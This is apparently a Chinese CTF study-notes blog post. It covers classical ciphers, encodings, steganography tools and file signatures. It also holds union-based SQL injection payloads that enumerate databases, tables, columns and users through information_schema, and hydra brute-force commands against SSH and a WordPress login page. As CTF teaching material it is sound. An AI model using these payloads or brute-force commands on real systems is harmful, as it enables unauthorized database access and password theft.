小记 - CTF

2021-07-29 10:50:16 浏览数 (1)

南邮CTF了解一下~

密码学
JSfuck
  • 标志:以[]开头,以()结尾
  • 解密:JSfuck or 浏览器F12打开Console控制台,粘贴密文按回车即可解密
AAencode

AAencode加解密

PPencode
代码语言:javascript复制
length q closedir vec and print chr ord q open no and print chr ord q or no and print chr ord q sin s and print chr ord qw q ne q and print chr ord q lt eval and print chr ord q q eq and print chr length q q ge getc getpriority printf split q and print chr ord qw q fcntl q and print chr ord qw q lc q and print chr ord q each le and print chr ord qw q ge q and print chr length q q readdir ge chop link syscall chroot binmode for length setservent dbmopen uc getnetbyname getpwnam rename stat study pack q and print chr ord q open no and print chr ord q split s and print chr oct hex ord uc q my m and print chr ord q ge log and print chr ord qw q ne q and print chr ord q oct no and print chr ord q pop and print chr ord qw q die q and print chr ord q ge log and print chr oct oct hex ord q ref or and print chr length q q ge getc getpriority printf split q 

菜鸟教程在线编译工具

Brainfuck
  • Brainfuck是一种极小化的计算机语言,只有八种符号,所有的操作都由这八种符号(> < - . , [ ])的组合来完成。
  • 解密:Brainfuck
ASCII
ADFGX
  • ADFGX密码(ADFGX Cipher)结合了改良过的Polybius方格替代密码与单行换位密码的矩阵加密密码,使用了5个合理的密文字母:A,D,F,G,X,这些字母之所以这样选择是因为当转译成摩尔斯电码(ADFGX密码是德国军队在一战发明使用的密码)不易混淆; (明文FOX --加密-> FA DX FF )
Unicode/URL
  • Unicode/URL解码
Base32/64编码
  • 原理:base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应4个base64单元,即3个字节可表示4个可打印字符。在base64中的可打印字符包括A-Z、a-z、0-9, 、/,共64个可打印字符;如果要编码的字节数不能被3整除,最后会多出1个或2个字节,那么可以使用下面的方法进行处理:先使用0字节值在末尾补足,使其能够被3整除,然后再进行base64的编码。在编码后的base64文本后加上一个或两个“=”号,代表补足的字节数。也就是说,当最后剩余一个八位字节(一个byte)时,最后6位的base64字节块有四位是0值,最后附加上两个等号;如果最后剩余两个八位字节(2byte)时,最后一个6位的base字节块有两位是0值,最后附加一个等号
  • 标志:等号作后缀,数目可能为0/1/2个
  • 加密:文本 ->ASCII编码 ->转换二进制 ->计算索引 ->得到Base64编码 例:文本M ->ASCII编码为77 ->十进制转化成二进制为01001101 ->即索引值19 ->Base64编码为T
  • 解密:
    • Base32加解密
    • Base64加解密
    • Hex加解密
盲文
颜文字
  • jjencode/aaencode
    • jjencode -> 将JS代码转换成只有符号的字符串
    • aaencode -> 将JS代码转换成常用的网络表情
  • 解密:浏览器F12打开Console控制台,粘贴密文按回车即可解密
九宫格
  • 2个数字为一组,对应手机九宫格上的字母
敲击码
栅栏密码
  • 栅栏密码(Rail-fence Cipher)就是把要加密的明文分成N个一组,然后把每组的第1个字符组合,每组第2个字符组合…每组的第N(最后一个分组可能不足N个)个字符组合,最后把他们全部连接起来就是密文
置换密码

置换密码在线字典

凯撒密码
  • 凯撒密码(Caesar Cipher或称恺撒加密、恺撒变换、变换加密、位移加密)通过把字母移动一定的位数来实现加密和解密。明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移后被替换成密文。
摩斯密码

摩斯密码在线加解密

猪圈密码
  • 猪圈密码(Pigpen Cipher或称朱高密码、共济会密码或共济会员密码),是一种以格子为基础的简单替代式密码
维吉尼亚密码
  • 维吉尼亚密码(Vigenère Cipher)是在单一恺撒密码的基础上扩展出多表代换密码,根据密钥(当密钥长度小于明文长度时可以循环使用)来决定用哪一行的密表来进行替换,以此来对抗字频统计
  • 密钥(循环使用,密钥越长相对破解难度越大)
  • 加密:第一行为明文字母,第一列为密钥字母 -> 明文字母列和密钥字母行的交点就是密文字母 (如明文字母T列 和 密钥字母C行 -> 交点为 密文V)
传送门
  • 各种密码加密与解密
  • Unicode/URL解码
  • ASCII 在线转换器
  • Base64加解密
  • Brainfuck
  • JSfuck
SQL注入
1. 判断注入点
代码语言:javascript复制
- and 1=1 -> 正常
- and 1=2 -> 报错

--> 发现页面显示不一样,是注入点
2. 爆库
代码语言:javascript复制
(mysql>5.0的版本才有information_schema,存储着mysql 所有库和表结构信息)
1. 查看当前使用数据库
   - and 1=2 union select 1,database()
2. 爆表
   - union select 1,table_name from information_schema.tables where table_schema='当前库名'
3. 查看当前表中字段
   - union select 1,column_name from information_schema.columns where table_schema='当前库名'
4. 爆字段内容
   - and 1=1 union select 1,2
5. 查看列
   - union select 1,列名 from 表名
6. 爆出所有库
- union select 1,schema_name from information_schema.schemata
- and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.schemata
3.工具
  • SQLmap -> sql自动注入(需要Python2.7环境)
4. 其他
(1) 猜解字段
代码语言:javascript复制
- order by a
- order by b

--> 若发现a正常b不正常,则字段数是a
(2)爆字段位置
代码语言:javascript复制
and 1=2 union select 1,2
select * from db WHERE id= x and 1=2 Union select 1,2,3,4,5
(3)查看mysql基本信息
代码语言:javascript复制
- and 1=2 union select 1,version() ----- 查看数据库版本
- and 1=2 union select 1,database() ---- 查看当前使用的数据库
- and 1=2 union select 1,user() ------查看当前数据库用户
- and ord(mid(user(),1,1))=114 ------ 判断用户是否为root
(4)单独爆库
代码语言:javascript复制
第一个数据库 
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 

第二个数据库 
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1 

第三个数据库 
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 2,2 

第四个数据库
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 3,3

第五个数据库 
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 4,
隐写术
1.工具
  • Stegosolve:图片分析
    • File Format 分析图片
    • Frame Browser 逐帧查看
  • Winhex:二进制分析
  • Cool Edit Pro:音频分析
  • MP3stego:音频分析
  • binwalk:文件隐写分析
  • F5-steganography:F5隐写
  • ZipCenOp:伪加密
  • Crunch:字典生成器
  • hydra:爆破
2.部分工具用法
binwalk

默认分离 binwalk -e xxx.xxx dd命令分离 # dd if=xxx.xx of=a.xxx skip=12345 bs=1 ​ [ if是指定输入文件,of是指定输出文件,skip是指定从输入文件开头跳过12345个块后再开始复制,bs设置每次读写块的大小为1字节 ]

MP3stego

Decode -X -P password xxx.mp3

代码语言:javascript复制
加密:encode -E (里面放要加密的txt信息)  -P (密码) (需要将密码放入的wav文件) (生产的mp3文件)
解密:decode -X -P (密码)(要解密的文件)
F5-steganography

java Extract xxx.jpg -p password

ZipCenOp

伪加密解压命令 java -jar ZipCenOp.jar r xxxx.zip

Crunch

Crunch字典生成器路径:/usr/share/crunch crunsh MinSize MaxSize 字典元素(如123456) -o 存放文本名(a.txt)

hydra
代码语言:javascript复制
#命令
先nmap扫一波端口
hydra -l root(用户名,或-L 字典) -P unix_passwords.txt(字典) IP -v ssh(服务) 
例:hydra -l admin -P unix_passwords.txt 172.26.16.128 */wp-login.php:log=^USER^&pwd=^PASS^ :"login_error"

字典路径:/usr/share/wordlists/
/usr/share/wordlists/metasploit
unix_passwords.txt //小字典
password.lst       //大字典
unix_users.txt     //用户名

windows常用用户名 administrator/admin

-R    修复之前使用的aborted/crashed session
-S 执行SSL(Secure Socket Layer)连接
-s  Port 使用非默认服务器端口而是其他端口时,指定其端口
-l Login 已经获取登录ID的情况下输入登录ID
-L FILE 未获取登录ID情况下指定用于暴力破解的文件(需要指出全路径)
-p  Pass 已经获取登录密码的情况下输入登录密码
-P  FILE 未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)
-x  MIN:MAX:CHARSET 暴力破解时不指定文件,而生成可满足指定字符集和最短、最长长度条件的密码来暴力破解
-C FILE 用于指定由冒号区分形式的暴力破解专用文件,即ID:Password形式
-M FILE指定实施并列攻击的文件服务器的目录文件
-o   FILE以STDOUT的形式输出结果值
-f  查找到第一个可以使用的ID和密码的时候停止破解
-t TASKS 指定并列连接数(默认值:16)
-w 指定每个线程的回应时间(Waittime)(默认值:32秒)
-4/6  指定IPv4/IPv6(默认值:IPv4)
-v/-V显示详细信息
-U 查看服务器组件使用明细

get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/

post方式提交,破解web登录:

3.常见文件格式
  • MS Word/Excel (xls.or.doc),文件头:D0CF11E0
  • JPEG (jpg),文件头:FFD8FFE0 文件尾:FF D9
  • PNG (png),文件头:89504E47
  • GIF (gif),GIF89A 文件头:47494638
  • XML (xml),文件头:3C3F786D6C
  • HTML (html),文件头:68746D6C3E
  • MS Word/Excel (xls.or.doc),文件头:D0CF11E0
  • MS Access (mdb),文件头:5374616E64617264204A
  • Adobe Acrobat (pdf),文件头:255044462D312E
  • Windows Password (pwl),文件头:E3828596
  • ZIP Archive (zip),文件头:504B0304
  • RAR Archive (rar),文件头:52617221
  • Wave (wav),文件头:57415645
  • AVI (avi),文件头:41564920

0 人点赞